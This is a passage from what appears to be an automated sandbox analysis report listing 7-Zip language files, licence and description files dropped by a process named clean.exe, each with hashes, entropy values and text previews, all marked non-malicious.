                                                                                                                                                                                                                                                                  Entropy (8bit):3.7840989858328618
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:igMxAhP2NKfBuRZjaaC1e13/BNhpYY+KEHtiAnCuu1+AuvB1nNh11N:irlNZjagbAn3
                                                                                                                                                                                                                                                                  MD5:228CA6D7B8D850853233C4575A7EBF1F
                                                                                                                                                                                                                                                                  SHA1:4BC90FCA87925F7D855972F5DC67EF5E9E29B438
                                                                                                                                                                                                                                                                  SHA-256:0A3B285566BBEB3F188B3C72BA21CBFC545EA05471EAB706E972C828DA5234E0
                                                                                                                                                                                                                                                                  SHA-512:2995D1C2BACC8C0EE757FC47FE9C8AC07F1EE74AE3A70BBBCC66CBCFA13A924855B3F7515D04031434870829BE34F0FB49A35388EAFFACC0E7A33F9A44A02870
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.13 : Ve Elanjelian : ThamiZha! team : www.thamizha.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Tamil.........401............................................................440............... .................. ............................................................... .................. ..................... ...... ..... .................?..500.........................................................540............ ........... ..................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\th.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):16219
                                                                                                                                                                                                                                                                  Entropy (8bit):4.008729331792855
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:ir9n+rMUfsqjeWnShfO1LpBIB9jip10zsPRO2a8fUhe1RBC6sl4wjn/PqIpqINAG:09n+4csqjeWnSh21LpBIB1O10zsPRO2e
                                                                                                                                                                                                                                                                  MD5:8EE06A03DC18E5F8BC750CB6A78F6D9C
                                                                                                                                                                                                                                                                  SHA1:179C195700DF844216C2CABDC17062CDDBD1D6B3
                                                                                                                                                                                                                                                                  SHA-256:01E7B965BD4B722003F74B4E4B30EF6A1BAEA67108816D1B9F8D6ADD39C7FA10
                                                                                                                                                                                                                                                                  SHA-512:4C908BA391BAC8BD36BF76B5C3B59DD59EB71F2513BCD04C47CBDE683AD463C0FEAC5D5AADA67730F3F566156C4BEFF09CD7B7D1EB043B988AD7938B9041C4EC
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.09 : Chayanon Ruamcharoen..; 4.10 : Zafire06 ..; 9.13 : Kom10..;..;..;..;..;..;..;..;..0..7-Zip..Thai.......401......................&.....&.....&..................&..............440........................................&...................&...................&.....................................................500..&......&.......&........&............&............&...........540..&..............................................&........&.......&.......

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\tr.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7165
                                                                                                                                                                                                                                                                  Entropy (8bit):5.280470369103978
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:isz9D/zLeagp+ZefNxFmIMf7D6pjBD0a2:is50nFPQ7Or2
                                                                                                                                                                                                                                                                  MD5:C75E6F4178ACA6520D34534060445930
                                                                                                                                                                                                                                                                  SHA1:3B6C3CBAA44809F8184D132CE217F26EB7530FDF
                                                                                                                                                                                                                                                                  SHA-256:F740F2233193D13A412E82E4043DE4AC4F496F20641E37EF48D7F207004986C4
                                                                                                                                                                                                                                                                  SHA-512:5A1004AEF2B43AC95A3D132742F780D8CE04C0E8C3F7A3A0BDDEBB38867557537B44795281F4CE191E720C6098CD89BE8F808AFCDE90E66CBAFB82F2E732182E
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : 2009-09-22 : X-FoRcE ..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Turkish..T.rk.e..401..Tamam...ptal........&Evet..&Hay.r..&Kapat..Yard.m....De&vam et..440..T.m.ne E&vet..T.m.ne Ha&y.r..Dur..Tekrar ba.lat..&Arka planda...&nde..&Duraklat..Duraklat.ld. -...ptal edilsin mi?..500..&Dosya..D.&zenle..G.&r.nt.le..S.&k Kullan.lanlar..&Ara.lar..&Yard.m..540..&A...Pa&nelde A...Pence&rede A...&G.r.nt.le..D.&zenle..Yeni a&d ver..K&opyala..&Ta....&Sil..&Par.ala.....&Birle.tir......z&ellikler..A..kla&ma..Toplam checksum hesapla..Fark..Yeni k&las.r..Yeni dos&ya....&k..600..&T.m.n. se...T.m se.imi ka&ld.r..&Aksini se...Se......Se.imi kald.r.....Bu uzant.y. se...Uzant.l. se.imi kald.r..700..&B.y.k Simgeler..&K...k Simgeler..&Liste..&Detaylar..730..S.ras.z..D.z G.r.n.m..&2 Panel a...&Ara. .ubuklar...K.k Klas.r. A...Bir Seviye Yukar...Klas.r Ge.mi.i.....&Yenile..750..Ar.iv .ubu.u..Standart .ub

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\tt.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):14202
                                                                                                                                                                                                                                                                  Entropy (8bit):4.5738343406459805
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:idiangc64QGQ6p6Wc84DqdqQdP9YW0XyU9ondS8O20Biu9J5:rag/4Tzp6Wc84Dq0QdP9YiUGnmiu9T
                                                                                                                                                                                                                                                                  MD5:6E299B81EDACF15FACE1271D032CC5A0
                                                                                                                                                                                                                                                                  SHA1:F2E955FD7BBF9140F0E86BF1A759D729C9A4E4DA
                                                                                                                                                                                                                                                                  SHA-256:18479D66E0C8B5144EA32CC9D6B58EB8748E80D2C3BDEC0DBD99BBC3AB42495D
                                                                                                                                                                                                                                                                  SHA-512:84E9484319DEB5A7049FE130290A7D67A8FAEFC9A17F7B2CE9F9586FB0F0641B839BAE681C6F8FFEF551780F56166C9886C1F7F6F0DF386389F44710423B9865
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.10 : 2017-02-12 : Bulat Ibrahim..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Tatar...........401..OK..... .............&.....&....&.................&..... ........440..... &........ ........ .&....... ....................&.......&.... ........&...................... .. ....... ............?..500..&......&.........&.......&...........&.........&.........540..&............ &............. ..&.............&.................. &............&.................&..............&................. &..................... &....................&..............&............... .....................&..... ..........&.. .........&

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ug.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):11386
                                                                                                                                                                                                                                                                  Entropy (8bit):4.7182582221463525
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iDIm9xflePh286zK/bnZ6U4EeBVDeZTyUZirOCsiCjcY8VFDZ:iNMPhhrBNeBVSTTZUwiCuDZ
                                                                                                                                                                                                                                                                  MD5:EF3E8D61D03E42A3B40D6F0B12535ADB
                                                                                                                                                                                                                                                                  SHA1:569360BCFEB39C102A3DD78ED96204B5D733FFBE
                                                                                                                                                                                                                                                                  SHA-256:9D0268D1EEB8DFDEBBB8EA1033C2B99CD667A244C9859085BE5D54C9E5CED369
                                                                                                                                                                                                                                                                  SHA-512:6E9AFEB0A96DA6D8BF63F06DE421B8D4DDBF4D750E1BDF861FBBDC0268CBEB19068D08787F0F1655B40EBDC603D888251DAE188C3547F32B970C7F927754066A
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.59 : Sahran..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uyghur............401............. ...........(&Y).........(&N).....(&C).......................(&C)..440......... ....(&A)......... ...(&L).............. ............ ....(&B)....... ....(&F).......... .....(&P).......... .................... ... ...........500........(&F)........(&E).........(&V)........(&A).......(&T)........(&H)..540.....(&O)........... ........ ...(&I)...... ........ ...(&U).........(&V)........(&E)..... .......(&M)......... .....(&C)......... .....(&M)........(&D)........ .......(&S)......... .........(&B).........(&R).........(&N)........ .............

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\uk.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):15180
                                                                                                                                                                                                                                                                  Entropy (8bit):4.398927977240258
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:iv+2HgJiSSXX7VPkqM6Ix68c65gLKPENwboGxX7xFxexNbK7ExOiyq:LqRRr87Rq
                                                                                                                                                                                                                                                                  MD5:D125EF7F9A009CFE4093152E48055AC1
                                                                                                                                                                                                                                                                  SHA1:7063F242690890C98296314884E0E6D058C23AFF
                                                                                                                                                                                                                                                                  SHA-256:53235CB228DBBB5207F18BD0B318F54FDA9F9F5B05094EA6AC7AE368216CC4EF
                                                                                                                                                                                                                                                                  SHA-512:CC199E839E2CF24ABCD8B9685702732427295858976A038FDDF6E3691FD1A31BCAF9F1DBAC48E125E096D1A395DCABFB4ECBB02A6C5E7D6DEA67E44E21E69037
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Andrij Ilechko..; : Mokiy Mazaylo..; : Sergiy Gontaruk..; : Misha Padalka..; 15.02 : 2015-05-19 : Yurii Petrashko..;..;..;..;..;..;..0..7-Zip..Ukrainian..............401..OK...................&.....&....&....................&............440..... ... &........ ... ..&.............................&.. ........ .......&.. .......... .......&...................... ........, .. ....... ......... ........?..500..&......&.............&........&............&.............&..........540..&.................. .&.................. &.......&.............&................&...........&......... ........

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\uz.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7304
                                                                                                                                                                                                                                                                  Entropy (8bit):5.00188472530941
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iiqzc2EXHzvaPm1ukXYM8LlwGTDSDD2lng1JMxss:iiqzc2EXHz8m1uHlLrTDSDD8g1aV
                                                                                                                                                                                                                                                                  MD5:B0443EF214457F532D9A934A491F4BF0
                                                                                                                                                                                                                                                                  SHA1:4C16089A06386FB57A7E75BDDAF74DCB02DCB8BC
                                                                                                                                                                                                                                                                  SHA-256:EAD70FDE1C022A6DA9E1C950EA073706951F2F84FA71D5A5008A8ED00E1A1DAA
                                                                                                                                                                                                                                                                  SHA-512:99990B0010901CCE07133C1DEEC9DB6E4175CC748F027B540B63F3BFFD14B2A69D8F2B13FEA91567229ADC4A634150194A397B715E9B553FC0B467048839931C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Sherzod Mamatkulov..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Uzbek..O'zbek..401..OK..Bekor........&Ha..&Yo'q..&Yopish..Yordam....&Davom et..440..H&ammasiga ha..Hammasiga y&o'q..To'xta..Qayta boshla..&Orqa fon..Ol&di fon..&Pauza..Pauza qilingan..Haqiqatdan ham bekor qilishni istaysizmi?..500..&Fayl..&Tahrir..&Ko'rinish..&Xatcho'plar..&Asboblar..&Yordam..540..&Ochish..&Ichkarida ochish..&Tashqarida ochish..&Ko'rish..Ta&hrirlash..&Qayta nomlash..&Nusxalash.....Ko'chi&rish.....O'chirish..&Faylni bo'laklash.....Fayllarni &birlashtirish.....&Xossalari..&Sharh.....Nazorat summasini hisoblash..Farq..Papka yaratish..Fayl yaratish..&Chiqish..600..H&ammasini tanla..Hammasini tashla..&Tanlanishni teskarila..Tanlash.....Tashlash.....Turi bo'yicha tanla..Turi bo'yicha tashla..700..&Yirik ikonlar..&Mitti ikonlar..&Ro'yxat..&Tafsilotlar..730..Saralanmagan..Tekis ko'rinish..&2 ta panel..&Uskunalar majmuasi..Ildiz papkasini och..Bir bosqich yuqoriga..Papkalar tarixi.....&Qa

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\va.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):6549
                                                                                                                                                                                                                                                                  Entropy (8bit):4.9932250796592506
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:icd/FL0HKwFgPqtXdN3K3TIcmqHfc39vNH:i65wCitzaj5E3P
                                                                                                                                                                                                                                                                  MD5:639741F687D4427C9D3B170B1CED41A9
                                                                                                                                                                                                                                                                  SHA1:AD3D3A09B8877381DF520E6EB654227DA045B89D
                                                                                                                                                                                                                                                                  SHA-256:F43C31BD959A752EEFBB7C76ED918C4CACD50D43706121C55093D72A638FA7A5
                                                                                                                                                                                                                                                                  SHA-512:EB63B0437624782D2BCD033905C7C0538902F9644E4FACDC52D094EDE5353309613B4EEF3CB437D4F69C2A4FD4B2E0F241990AAA3A38366685B10CABEC20A357
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4:26 : Tomas Miralles..; 4.44 : Fernando Verd...;..;..;..;..;..;..;..;..;..0..7-Zip..Valencian..Valenci...401..Acceptar..Cancel.lar........&Si..&No..Tan&car..Ajuda....&Continuar..440..Si a &tot..No a t&ot..Parar..Reiniciar..Segon pla..Primer pla..&Pausa..Parat..Est. segur que vol cancel.lar?..500..&Arxiu..&Editar..&Visualitzar..Favorits..Ferramentes..Ajuda..540..&Obrir..Obrir d&ins..Obrir fora..&Visualitzar..&Editar..Renom&enar..&Copiar a.....&Moure a.....&Suprimir..&Separar fitxer.....Com&binar fitxers.....P&ropietats..Come&ntari..Calcular checksum....Crear directori..Crear fitxer..Eixir..600..Seleccion&ar-ho tot..Deseleccionar-ho tot..&Invertir selecci...Seleccionar.....No seleccionar.....Seleccionar per tipus..No seleccionar per tipus..700..Icones g&rans..Icones menudes..&Llista..&Detalls..730..No ordenat..Vista plana..&2 Taules..&Barres de ferramentes..Obrir directori arrel..Directori pare..Historial de carpetes.....Actualitza&r..750..Arxiu..Est.ndar

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\vi.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8515
                                                                                                                                                                                                                                                                  Entropy (8bit):5.3853389717622
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iJg8VLjw6yLuVSjHohWCOMF65E0QS3CmJdH:iJg8VfVcHpN5/CA
                                                                                                                                                                                                                                                                  MD5:044531D134ACA40D5E57CC0AB96B4940
                                                                                                                                                                                                                                                                  SHA1:988AA2BB6922360C1977B97725175613266242D2
                                                                                                                                                                                                                                                                  SHA-256:3A6DCA3E1B5C8190C81FC859B5BE83EAF54EFDCAA148F4374D1225381083406F
                                                                                                                                                                                                                                                                  SHA-512:458A86EA6468E8B1C9CC98A7A579F74854A34F101EC2EDE3AB48DD7DFBBF75EEAE184C5A23443B3CCC69B8C06E0E09EF2DF04D9F00D86CE99B82E785F95B7635
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 2.30 : : Tran Hong Ha..; 4.42 : : Le Vu Hoang..; 4.48 : : Nguyen Hong Quan..; 9.07 : 2011-04-12 : Vietnamize Team..;..;..;..;..;..;..;..0..7-Zip..Vietnamese..Ti.ng Vi.t..401....ng ...H.y b.........C...Kh.ng....ng..Gi.p ......Ti.p t.c..440..C. t.t c...Kh.ng t.t c...D.ng..L.m l.i..Ch.y n.n..Ch. .. .u ti.n..D.ng.... d.ng..B.n ch.c ch.n mu.n h.y b.?..500..T.p tin..Bi.n t.p..Xem...a th.ch..C.ng c...Gi.p ....540..M...M. t.i ..y..M. trong c.a s. kh.c..Xem..Bi.n t.p....i t.n..Sao ch.p ..n.....Di chuy.n ..n.....Xo...Chia c.t t.p n.n.....N.i t.p n.n.....Thu.c t.nh..Ch. th.ch..T.nh checksum (md5)..So s.nh..T.o th. m.c..T.o t.p n.n..Tho.t..600..Ch.n t.t c...B. ch.n t.t c.....o l.a ch.n..Ch.n.....B. ch.n.....Ch.n theo lo.i..B. ch.n theo lo.i..700..Bi.u t..ng

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\yo.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):11044
                                                                                                                                                                                                                                                                  Entropy (8bit):5.298636168430069
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:7XgmEsBVCxtNc/EcoGFGDbMOw3WmkmSAGplG0v6k6P89Y6QVkixHxXUE4zVG9uRt:7XgECxuGbMO3/J3PL9zyezVGw5
                                                                                                                                                                                                                                                                  MD5:698AF9267C08D61B712417491DA6A3BB
                                                                                                                                                                                                                                                                  SHA1:01F21CE60E571699B006098AFE9520C02D4E11DC
                                                                                                                                                                                                                                                                  SHA-256:FFAB6B91FFD2D3C2B1F7F431B47F7D28AA17A11587B876565613BB26C173402B
                                                                                                                                                                                                                                                                  SHA-512:D37F63D3824D12D9BD4749EA94FCE924F3A5469874D6777261F0570A2A7EF28574825FAE199408C0E1EEE7061B08C447DA8744A1C2FA486981165AB5062FC8A9
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:;!@Lang2@!UTF-8!..; 15.00 : 2015-03-29 : Ibrahim Oyekan..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Yoruba..Yoruba..401..O DAA..Pa re........&B..ni..&B..k...&P.d....r.nl.w.....&T..-s.w.j...440..B..ni fun &gbogbo ...B..k. fun &gbogbo ...D.r.....t.nb..r.. ..&...h.n-.gb.h.n..&Oj.-.gb.h.n..&D.d.r....d.r....e . d.j. pe .nyin f.. paar...500..&Fa.li..&Tunk...&.w...&A.y...&Irin... ..&.r.nl.w...540..&.i...i &si .n....i &si .ta..&.w...&Tunk...&Tun oruk. k...&...d. si.....&Gb. si.....&Paar...&P.n fa.li....... .w.n fa.li k.p.......&.b.d...&.r. .w.ye......e i.iro checksum...y.t....D. .p. fa.li sil.. ..D. fa.li sil.. ..&P.d....t..kas. ..&Yiyan agbara d.t...600.....y.n &gbogbo fa.li..Paa ...y.n gbogbo fa.li..&Yi ...y.n Pad......y.n.....Paa ...y.n........y.n bi ir. fa.li..Paa ...y.n bi ir. fa.li

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\zh-cn.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8109
                                                                                                                                                                                                                                                                  Entropy (8bit):6.0140035773673866
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:7w+OUNnnvU5RLUvMyUxupow69yJ1998ln9K4zy4VCrcj+v67DAT21ph4Lix:7brnnvU5R+yJ1MglEyycWV2DATk4Lix
                                                                                                                                                                                                                                                                  MD5:D83D83C7205A16BE7D7524F13CA409C3
                                                                                                                                                                                                                                                                  SHA1:A85DB41A5610B1ECAA808324585D341D04CBE491
                                                                                                                                                                                                                                                                  SHA-256:19B5850F186AE2ED5E16B73D355814E8B386043BEB003E89BFB7F88412FBD3FC
                                                                                                                                                                                                                                                                  SHA-512:9673BB6B7437D787962237E472A2F027E5599FA50B47997AA86570C447AE640642B3DD014608D64881E10FD0B4029F2627E2CA558484238CB7490FF29FDF16D8
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:;!@Lang2@!UTF-8!..; 2.30 : 2002-09-07 : Modern Tiger, kaZek, Hutu Li..; 3.08 : 2003-08-29 : Tunghsiao Liu (aka. Sparanoid)..; 16.00 : 2016-05-16 : Tunghsiao Liu (aka. Sparanoid)..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Simplified........401.................(&Y)...(&N)....(&C)..........(&C)..440....(&A)....(&L)..............(&B)....(&F)....(&P).................500....(&F)....(&E)....(&V)....(&A)....(&T)....(&H)..540....(&O)........(&I)........(&U)....(&V)....(&E).....(&M).....(&C)........(&M).......(&D)......(&S).........(&B).......(&R)....(&N).............................(&X)...........(&A)..600....(&A)..........(&I)..........................................700.....(&G)

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\zh-tw.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8058
                                                                                                                                                                                                                                                                  Entropy (8bit):6.010295819104829
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i965RTllmRwM4cO+VnoF0HDczLXO7AJ8YRcaBxU+G9dDRI:i9MRTPUZO+VaoDcmRYUhXRI
                                                                                                                                                                                                                                                                  MD5:ACFC57DE6B0E4489287BDAFE2062409A
                                                                                                                                                                                                                                                                  SHA1:DBF62F8C6DD239AA16BFD62500517B849ED8E5B4
                                                                                                                                                                                                                                                                  SHA-256:37C79297F8D4E491D681B556C23D957BC830068AE1D5F4535FD054C2233F3474
                                                                                                                                                                                                                                                                  SHA-512:50A76A2C5A61056B2B9EFAF143335D86C5882D97C9D42ACF29CA87CD39D79876D561EC0FE83FB377E25379CFEBF593B782ECD8613D2A84AC33CBB6D8314481F1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.59 : Leon Tseng, sec2, ....; 9.07 - 15.00 : Jack Pang : http://www.developershome.com/7-zip/..;..;..;..;..;..;..;..;..;..0..7-Zip..Chinese Traditional........401.................(&Y)...(&N)....(&C)..........(&C)..440......(&A)......(&L)................(&B)......(&F)....(&P).............?..500....(&F)....(&E)....(&V)......(&A)....(&T)....(&H)..540....(&O).......(&I).......(&U)....(&V)....(&E)......(&M).....(&C)........(&M).......(&D)......(&S).........(&B).......(&R)....(&N)..............................(&X)...........(&A)..600....(&A)...........(&I).................................700.....(&G).....(&M)....(&L)......(&D)..730.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\License.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):3990
                                                                                                                                                                                                                                                                  Entropy (8bit):5.042197478409183
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:dulTu+xS0jaXU9zBOrYJ2rYJk9n3O3zOrTmxz0NxrVwA:sTuoS0gUTOrs2rsQn3O3SvmxQN7wA
                                                                                                                                                                                                                                                                  MD5:F23277F79FCC3C4A08CBB1F2C47603E9
                                                                                                                                                                                                                                                                  SHA1:9D18FF80F5C95578958ED1EEFD54F6040DB8E720
                                                                                                                                                                                                                                                                  SHA-256:082F368FBC0016D0078E4B7AF781F858C9245CFC888F3E89FAD24620FD64C40E
                                                                                                                                                                                                                                                                  SHA-512:DF27C6CDBD162C6ABE8BA0A64ACAD5AB6A4F9AF47602CCE050C30DF8D04DC532524EE073B9DDAA29C95178427FDC4E47C1EE253C1D79B0F217205EB7B6D4DC27
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview: 7-Zip.. ~~~~~.. License for use and distribution.. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.... 7-Zip Copyright (C) 1999-2018 Igor Pavlov..... The licenses for files are:.... 1) 7z.dll:.. - The "GNU LGPL" as main license for most of the code.. - The "GNU LGPL" with "unRAR license restriction" for some code.. - The "BSD 3-clause License" for some code.. 2) All other files: the "GNU LGPL"..... Redistributions in binary form must reproduce related license information from this file..... Note:.. You can use 7-Zip on any computer, including a computer in a commercial.. organization. You don't need to register or pay for 7-Zip....... GNU LGPL information.. --------------------.... This library is free software; you can redistribute it and/or.. modify it under the terms of the GNU Lesser General Public.. License as published by the Free Software Foundation; either.. version 2.1 of the License, or (at your option) any later version..... Thi

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\descript.ion

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):366
                                                                                                                                                                                                                                                                  Entropy (8bit):4.850296649357081
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:erK7MYoNHyQLPzXP+USQV7ZiKvwo7/qP5SiEQkXP6ZzeBVOkYBNWeR/W7jGPhrVC:CYkHt/PHVqo7I5s/EWO/NhNWePh0
                                                                                                                                                                                                                                                                  MD5:EB7E322BDC62614E49DED60E0FB23845
                                                                                                                                                                                                                                                                  SHA1:1BB477811ECDB01457790C46217B61CB53153B75
                                                                                                                                                                                                                                                                  SHA-256:1DA513F5A4E8018B9AE143884EB3EAF72454B606FD51F2401B7CFD9BE4DBBF4F
                                                                                                                                                                                                                                                                  SHA-512:8160B581A3F237D87E664D93310F5E85A42DF793B3E22390093F9FB9A0A39950BE6DF2A713B55259FCE5D5411D0499886A8039288D9481B4095FABADDDBEBB60
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:7-zip.chm 7-Zip Help..7-Zip.dll 7-Zip Plugin..7-Zip32.dll 7-Zip Plugin 32-bit..7z.dll 7-Zip Engine..7z.exe 7-Zip Console ..7z.sfx 7-Zip GUI SFX..7zCon.sfx 7-Zip Console SFX..7zFM.exe 7-Zip File Manager..7zg.exe 7-Zip GUI..descript.ion 7-Zip File Descriptions..history.txt 7-Zip History..Lang 7-Zip Translations..license.txt 7-Zip License..readme.txt 7-Zip Overview..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\readme.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1698
